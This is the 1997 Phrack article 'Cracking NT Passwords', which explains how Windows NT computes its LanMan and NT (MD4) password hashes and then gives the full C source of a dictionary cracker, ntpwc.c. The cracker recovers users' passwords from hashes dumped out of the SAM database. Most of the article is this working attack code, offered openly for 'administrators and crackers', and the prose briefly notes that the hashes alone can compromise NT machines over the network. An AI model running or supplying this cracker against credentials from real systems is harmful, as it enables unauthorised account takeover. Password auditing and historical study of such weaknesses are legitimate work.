549 lines
16 KiB
Text
549 lines
16 KiB
Text
|
.oO Phrack 50 Oo.
|
||
|
|
||
|
Volume Seven, Issue Fifty
|
||
|
|
||
|
8 of 16
|
||
|
|
||
|
Cracking NT Passwords
|
||
|
by Nihil
|
||
|
|
||
|
Recently a breakthrough was made by one of the Samba team members, Jeremy
|
||
|
Allison, that allows an administrator to dump the one-way functions (OWF)
|
||
|
of the passwords for each user from the Security Account Manager (SAM)
|
||
|
database, which is similar to a shadowed password file in *nix terms. The
|
||
|
program Jeremy wrote is called PWDUMP, and the source can be obtained from
|
||
|
the Samba team's FTP server. This is very useful for administrators of
|
||
|
Samba servers, for it allows them to easily replicate the user database
|
||
|
from Windows NT machines on Samba servers. It also helps system
|
||
|
administrators and crackers in another way: dictionary attacks against
|
||
|
user's passwords. There is more, but I will save that for later.
|
||
|
|
||
|
Windows NT stores two hashes of a user's password in general: the LanMan
|
||
|
compatible OWF and the NT compatible OWF. The LanMan OWF is generated by
|
||
|
limiting the user's password to 14 characters (padding with NULLs if it is
|
||
|
shorter), converting all alpha characters to uppercase, breaking the 14
|
||
|
characters (single byte OEM character set) into two 7 byte blocks,
|
||
|
expanding each 7 byte block into an 8 byte DES key with parity, and
|
||
|
encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with
|
||
|
each of the two keys and concatenating the results. The NT OWF is created
|
||
|
by taking up to 128 characters of the user's password, converting it to
|
||
|
unicode (a two byte character set used heavily in NT), and taking the MD4
|
||
|
hash of the string. In practice the NT password is limited to 14
|
||
|
characters by the GUI, though it can be set programmatically to something
|
||
|
greater in length.
|
||
|
|
||
|
The demonstration code presented in this article does dictionary attacks
|
||
|
against the NT OWF in an attempt to recover the NT password, for this is
|
||
|
what one needs to actually logon to the console. It should be noted that
|
||
|
it is much easier to brute force the LanMan password, but it is only used
|
||
|
in network authentication. If you have the skillz, cracking the LanMan
|
||
|
password can take you a long way towards cracking the NT password more
|
||
|
efficently, but that is left as an exercise for the reader ;>
|
||
|
|
||
|
For those readers wit da network programming skillz, the hashes themselves
|
||
|
are enough to comprimise a NT machine from the network. This is so because
|
||
|
the authentication protocol used in Windows NT relies on proof of the OWF
|
||
|
of the password, not the password itself. This is a whole other can of
|
||
|
worms we won't get into here.
|
||
|
|
||
|
The code itself is simple and pretty brain dead. Some Samba source was
|
||
|
used to speed up development time, and I would like to give thanks to the
|
||
|
Samba team for all their effort. Through the use of, and study of, Samba
|
||
|
several interesting security weaknesses in Windows NT have been uncovered.
|
||
|
This was not the intent of the Samba team, and really should be viewed as
|
||
|
what it is - some lame security implementations on Microsoft's part. Hey,
|
||
|
what do you expect from the people that brought you full featured (not in a
|
||
|
good way, mind you) macro languages in productivity applications?
|
||
|
|
||
|
You will need md4.c, md4.h, and byteorder.h from the Samba source
|
||
|
distribution inorder to compile the code here. It has been compiled and
|
||
|
tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it
|
||
|
should not compile and run on your favorite *nix platform. To truly be
|
||
|
useful, some code should be added to try permutations of the dictionary
|
||
|
entry and user name, but again, that is up to the reader.
|
||
|
|
||
|
One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD
|
||
|
at the top and corresponding #else and #endif at the bottom...
|
||
|
|
||
|
Here ya go:
|
||
|
|
||
|
<++> NTPWC/ntpwc.c
|
||
|
/*
|
||
|
* (C) Nihil 1997. All rights reserved. A Guild Production.
|
||
|
*
|
||
|
* This program is free for commercial and non-commercial use.
|
||
|
*
|
||
|
* Redistribution and use in source and binary forms, with or without
|
||
|
* modification, are permitted.
|
||
|
*
|
||
|
* THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
|
||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||
|
* SUCH DAMAGE.
|
||
|
*
|
||
|
*/
|
||
|
|
||
|
/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */
|
||
|
|
||
|
|
||
|
/* dictionary based NT password cracker. This is a temporary
|
||
|
* solution until I get some time to do something more
|
||
|
* intelligent. The input to this program is the output of
|
||
|
* Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN
|
||
|
* OWF passwords out of the NT registry and a crack style
|
||
|
* dictionary file. The output of PWDUMP looks
|
||
|
* a bit like UNIX passwd files with colon delimited fields.
|
||
|
*/
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <string.h>
|
||
|
#include <ctype.h>
|
||
|
|
||
|
/* Samba headers we use */
|
||
|
#include "byteorder.h"
|
||
|
#include "md4.h"
|
||
|
|
||
|
#define TRUE 1
|
||
|
#define FALSE 0
|
||
|
#define HASHSIZE 16
|
||
|
|
||
|
/* though the NT password can be up to 128 characters in theory,
|
||
|
* the GUI limits the password to 14 characters. The only way
|
||
|
* to set it beyond that is programmatically, and then it won't
|
||
|
* work at the console! So, I am limiting it to the first 14
|
||
|
* characters, but you can change it to up to 128 by modifying
|
||
|
* MAX_PASSWORD_LENGTH
|
||
|
*/
|
||
|
#define MAX_PASSWORD_LENGTH 14
|
||
|
|
||
|
/* defines for Samba code */
|
||
|
#define uchar unsigned char
|
||
|
#define int16 unsigned short
|
||
|
#define uint16 unsigned short
|
||
|
#define uint32 unsigned int
|
||
|
|
||
|
/* the user's info we are trying to crack */
|
||
|
typedef struct _USER_INFO
|
||
|
{
|
||
|
char* username;
|
||
|
unsigned long ntpassword[4];
|
||
|
|
||
|
}USER_INFO, *PUSER_INFO;
|
||
|
|
||
|
/* our counted unicode string */
|
||
|
typedef struct _UNICODE_STRING
|
||
|
{
|
||
|
int16* buffer;
|
||
|
unsigned long length;
|
||
|
|
||
|
}UNICODE_STRING, *PUNICODE_STRING;
|
||
|
|
||
|
/* from Samba source cut & pasted here */
|
||
|
static int _my_mbstowcs(int16*, uchar*, int);
|
||
|
static int _my_wcslen(int16*);
|
||
|
|
||
|
/* forward declarations */
|
||
|
void Cleanup(void);
|
||
|
int ParsePWEntry(char*, PUSER_INFO);
|
||
|
|
||
|
/* global variable definition, only reason is so we can register an
|
||
|
* atexit() fuction to zero these for paranoid reasons
|
||
|
*/
|
||
|
char pPWEntry[258];
|
||
|
char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */
|
||
|
MDstruct MDContext; /* MD4 context structure */
|
||
|
|
||
|
|
||
|
int main(int argc,char *argv[])
|
||
|
{
|
||
|
FILE *hToCrack, *hDictionary;
|
||
|
PUSER_INFO pUserInfo;
|
||
|
PUNICODE_STRING pUnicodeDictEntry;
|
||
|
int i;
|
||
|
unsigned int uiLength;
|
||
|
|
||
|
/* register exit cleanup function */
|
||
|
atexit(Cleanup);
|
||
|
|
||
|
/* must have both arguments */
|
||
|
if (argc != 3)
|
||
|
{
|
||
|
printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);
|
||
|
exit(0);
|
||
|
}
|
||
|
|
||
|
/* open password file */
|
||
|
hToCrack = fopen(argv[1], "r");
|
||
|
if (hToCrack == NULL)
|
||
|
{
|
||
|
fprintf(stderr,"Unable to open password file\n");
|
||
|
exit(-1);
|
||
|
}
|
||
|
|
||
|
/* open dictionary file */
|
||
|
hDictionary = fopen(argv[2], "r");
|
||
|
if (hDictionary == NULL)
|
||
|
{
|
||
|
fprintf(stderr,"Unable to open dictionary file\n");
|
||
|
exit(-1);
|
||
|
}
|
||
|
|
||
|
/* allocate space for our user info structure */
|
||
|
pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
|
||
|
if (pUserInfo == NULL)
|
||
|
{
|
||
|
fprintf(stderr,"Unable to allocate memory for user info structure\n");
|
||
|
exit(-1);
|
||
|
}
|
||
|
|
||
|
/* allocate space for unicode version of the dictionary string */
|
||
|
pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
|
||
|
if (pUnicodeDictEntry == NULL)
|
||
|
{
|
||
|
fprintf(stderr,"Unable to allocate memory for unicode conversion\n");
|
||
|
free(pUserInfo);
|
||
|
exit(-1);
|
||
|
}
|
||
|
|
||
|
/* output a banner so the user knows we are running */
|
||
|
printf("\nCrack4NT is running...\n");
|
||
|
|
||
|
/* as long as there are entries in the password file read
|
||
|
* them in and crack away */
|
||
|
while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
|
||
|
{
|
||
|
/* parse out the fields and fill our user structure */
|
||
|
if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
|
||
|
{
|
||
|
continue;
|
||
|
}
|
||
|
|
||
|
/* reset file pointer to the beginning of the dictionary file */
|
||
|
if (fseek(hDictionary, 0, SEEK_SET))
|
||
|
{
|
||
|
fprintf(stderr,"Unable to reset file pointer in dictionary\n");
|
||
|
memset(pUserInfo->ntpassword, 0, HASHSIZE);
|
||
|
free(pUserInfo);
|
||
|
free(pUnicodeDictEntry);
|
||
|
exit(-1);
|
||
|
}
|
||
|
|
||
|
/* do while we have new dictionary entries */
|
||
|
while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
|
||
|
{
|
||
|
/* doh...fgets is grabbing the fucking newline, how stupid */
|
||
|
if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')
|
||
|
{
|
||
|
pDictEntry[(strlen(pDictEntry) - 1)] = '\0';
|
||
|
}
|
||
|
|
||
|
/* the following code is basically Jeremy Allison's code written
|
||
|
* for the Samba project to generate the NT OWF password. For
|
||
|
* those of you who have accused Samba of being a hacker's
|
||
|
* paradise, get a fucking clue. There are parts of NT security
|
||
|
* that are so lame that just seeing them implemented in code
|
||
|
* is enough to break right through them. That is all that
|
||
|
* Samba has done for the hacking community.
|
||
|
*/
|
||
|
|
||
|
/* Password cannot be longer than MAX_PASSWORD_LENGTH characters */
|
||
|
uiLength = strlen((char *)pDictEntry);
|
||
|
if(uiLength > MAX_PASSWORD_LENGTH)
|
||
|
uiLength = MAX_PASSWORD_LENGTH;
|
||
|
|
||
|
/* allocate space for unicode conversion */
|
||
|
pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);
|
||
|
|
||
|
/* allocate space for it */
|
||
|
pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);
|
||
|
if (pUnicodeDictEntry->buffer == NULL)
|
||
|
{
|
||
|
fprintf(stderr,"Unable to allocate space for unicode string\n");
|
||
|
exit(-1);
|
||
|
}
|
||
|
|
||
|
/* Password must be converted to NT unicode */
|
||
|
_my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);
|
||
|
/* Ensure string is null terminated */
|
||
|
pUnicodeDictEntry->buffer[uiLength] = 0;
|
||
|
|
||
|
/* Calculate length in bytes */
|
||
|
uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);
|
||
|
|
||
|
MDbegin(&MDContext);
|
||
|
for(i = 0; i + 64 <= (signed)uiLength; i += 64)
|
||
|
MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);
|
||
|
MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);
|
||
|
|
||
|
/* end of Samba code */
|
||
|
|
||
|
/* check if dictionary entry hashed to the same value as the user's
|
||
|
* NT password, if so print out user name and the corresponding
|
||
|
* password
|
||
|
*/
|
||
|
if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)
|
||
|
{
|
||
|
printf("Password for user %s is %s\n", pUserInfo->username, \
|
||
|
pDictEntry);
|
||
|
/* we are done with the password entry so free it */
|
||
|
free(pUnicodeDictEntry->buffer);
|
||
|
break;
|
||
|
}
|
||
|
|
||
|
/* we are done with the password entry so free it */
|
||
|
free(pUnicodeDictEntry->buffer);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
/* cleanup a bunch */
|
||
|
free(pUserInfo->username);
|
||
|
memset(pUserInfo->ntpassword, 0, HASHSIZE);
|
||
|
free(pUserInfo);
|
||
|
free(pUnicodeDictEntry);
|
||
|
|
||
|
/* everything is great */
|
||
|
printf("Crack4NT is finished\n");
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
void Cleanup()
|
||
|
{
|
||
|
memset(pPWEntry, 0, 258);
|
||
|
memset(pDictEntry, 0, 129);
|
||
|
memset(&MDContext.buffer, 0, HASHSIZE);
|
||
|
}
|
||
|
|
||
|
|
||
|
/* parse out user name and OWF */
|
||
|
int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)
|
||
|
{
|
||
|
int HexToBin(char*, uchar*, int);
|
||
|
|
||
|
char pDelimiter[] = ":";
|
||
|
char* pTemp;
|
||
|
char pNoPW[] = "NO PASSWORD*********************";
|
||
|
char pDisabled[] = "********************************";
|
||
|
|
||
|
/* check args */
|
||
|
if (pPWEntry == NULL || pUserInfo == NULL)
|
||
|
{
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* try and get user name */
|
||
|
pTemp = strtok(pPWEntry, pDelimiter);
|
||
|
if (pTemp == NULL)
|
||
|
{
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* allocate space for user name in USER_INFO struct */
|
||
|
pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);
|
||
|
if (pUserInfo->username == NULL)
|
||
|
{
|
||
|
fprintf(stderr,"Unable to allocate memory for user name\n");
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* get the user name into the USER_INFO struct */
|
||
|
strcpy(pUserInfo->username, pTemp);
|
||
|
|
||
|
/* push through RID and LanMan password entries to get to NT password */
|
||
|
strtok(NULL, pDelimiter);
|
||
|
strtok(NULL, pDelimiter);
|
||
|
|
||
|
/* get NT OWF password */
|
||
|
pTemp = strtok(NULL, pDelimiter);
|
||
|
if (pTemp == NULL)
|
||
|
{
|
||
|
free(pUserInfo->username);
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* do a sanity check on the hash value */
|
||
|
if (strlen(pTemp) != 32)
|
||
|
{
|
||
|
free(pUserInfo->username);
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* check if the user has no password - we return FALSE in this case to avoid
|
||
|
* unnecessary crack attempts
|
||
|
*/
|
||
|
if (strcmp(pTemp, pNoPW) == 0)
|
||
|
{
|
||
|
printf("User %s has no password\n", pUserInfo->username);
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* check if account appears to be disabled - again we return FALSE */
|
||
|
if (strcmp(pTemp, pDisabled) == 0)
|
||
|
{
|
||
|
printf("User %s is disabled most likely\n", pUserInfo->username);
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* convert hex to bin */
|
||
|
if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)
|
||
|
{
|
||
|
free(pUserInfo->username);
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* cleanup */
|
||
|
memset(pTemp, 0, 32);
|
||
|
|
||
|
return TRUE;
|
||
|
}
|
||
|
|
||
|
|
||
|
/* just what it says, I am getting tired
|
||
|
* This is a pretty lame way to do this, but it is more efficent than
|
||
|
* sscanf()
|
||
|
*/
|
||
|
int HexToBin(char* pHexString, uchar* pByteString, int count)
|
||
|
{
|
||
|
int i, j;
|
||
|
|
||
|
if (pHexString == NULL || pByteString == NULL)
|
||
|
{
|
||
|
fprintf(stderr,"A NULL pointer was passed to HexToBin()\n");
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* clear the byte string */
|
||
|
memset(pByteString, 0, count);
|
||
|
|
||
|
/* for each hex char xor the byte with right value, we are targeting
|
||
|
* the low nibble
|
||
|
*/
|
||
|
for (i = 0, j = 0; i < (count * 2); i++)
|
||
|
{
|
||
|
switch (*(pHexString + i))
|
||
|
{
|
||
|
case '0': pByteString[j] ^= 0x00;
|
||
|
break;
|
||
|
|
||
|
case '1': pByteString[j] ^= 0x01;
|
||
|
break;
|
||
|
|
||
|
case '2': pByteString[j] ^= 0x02;
|
||
|
break;
|
||
|
|
||
|
case '3': pByteString[j] ^= 0x03;
|
||
|
break;
|
||
|
|
||
|
case '4': pByteString[j] ^= 0x04;
|
||
|
break;
|
||
|
|
||
|
case '5': pByteString[j] ^= 0x05;
|
||
|
break;
|
||
|
|
||
|
case '6': pByteString[j] ^= 0x06;
|
||
|
break;
|
||
|
|
||
|
case '7': pByteString[j] ^= 0x07;
|
||
|
break;
|
||
|
|
||
|
case '8': pByteString[j] ^= 0x08;
|
||
|
break;
|
||
|
|
||
|
case '9': pByteString[j] ^= 0x09;
|
||
|
break;
|
||
|
|
||
|
case 'a':
|
||
|
case 'A': pByteString[j] ^= 0x0A;
|
||
|
break;
|
||
|
|
||
|
case 'b':
|
||
|
case 'B': pByteString[j] ^= 0x0B;
|
||
|
break;
|
||
|
|
||
|
case 'c':
|
||
|
case 'C': pByteString[j] ^= 0x0C;
|
||
|
break;
|
||
|
|
||
|
case 'd':
|
||
|
case 'D': pByteString[j] ^= 0x0D;
|
||
|
break;
|
||
|
|
||
|
case 'e':
|
||
|
case 'E': pByteString[j] ^= 0x0E;
|
||
|
break;
|
||
|
|
||
|
case 'f':
|
||
|
case 'F': pByteString[j] ^= 0x0F;
|
||
|
break;
|
||
|
|
||
|
default: fprintf(stderr,"invalid character in NT MD4 string\n");
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
/* I think I need to explain this ;) We want to incremet j for every
|
||
|
* two characters from the hex string and we also want to shift the
|
||
|
* low 4 bits up to the high 4 just as often, but we want to alternate
|
||
|
* The logic here is to xor the mask to set the low 4 bits, then shift
|
||
|
* those bits up and xor the next mask to set the bottom 4. Every 2
|
||
|
* hex chars for every one byte, get my screwy logic? I never was
|
||
|
* good at bit twiddling, and sscanf sucks for efficiency :(
|
||
|
*/
|
||
|
if (i%2)
|
||
|
{
|
||
|
j ++;
|
||
|
}
|
||
|
if ((i%2) == 0)
|
||
|
{
|
||
|
pByteString[j] <<= 4;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
return TRUE;
|
||
|
}
|
||
|
|
||
|
|
||
|
/* the following functions are from the Samba source, and many thanks to the
|
||
|
* authors for their great work and contribution to the public source tree
|
||
|
*/
|
||
|
|
||
|
/* Routines for Windows NT MD4 Hash functions. */
|
||
|
static int _my_wcslen(int16 *str)
|
||
|
{
|
||
|
int len = 0;
|
||
|
while(*str++ != 0)
|
||
|
len++;
|
||
|
return len;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Convert a string into an NT UNICODE string.
|
||
|
* Note that regardless of processor type
|
||
|
* this must be in intel (little-endian)
|
||
|
* format.
|
||
|
*/
|
||
|
static int _my_mbstowcs(int16 *dst, uchar *src, int len)
|
||
|
{
|
||
|
int i;
|
||
|
int16 val;
|
||
|
|
||
|
for(i = 0; i < len; i++) {
|
||
|
val = *src;
|
||
|
SSVAL(dst,0,val);
|
||
|
dst++;
|
||
|
src++;
|
||
|
if(val == 0)
|
||
|
break;
|
||
|
}
|
||
|
return i;
|
||
|
}
|
||
|
<--> NTPWC/ntpwc.c
|
||
|
|
||
|
EOF
|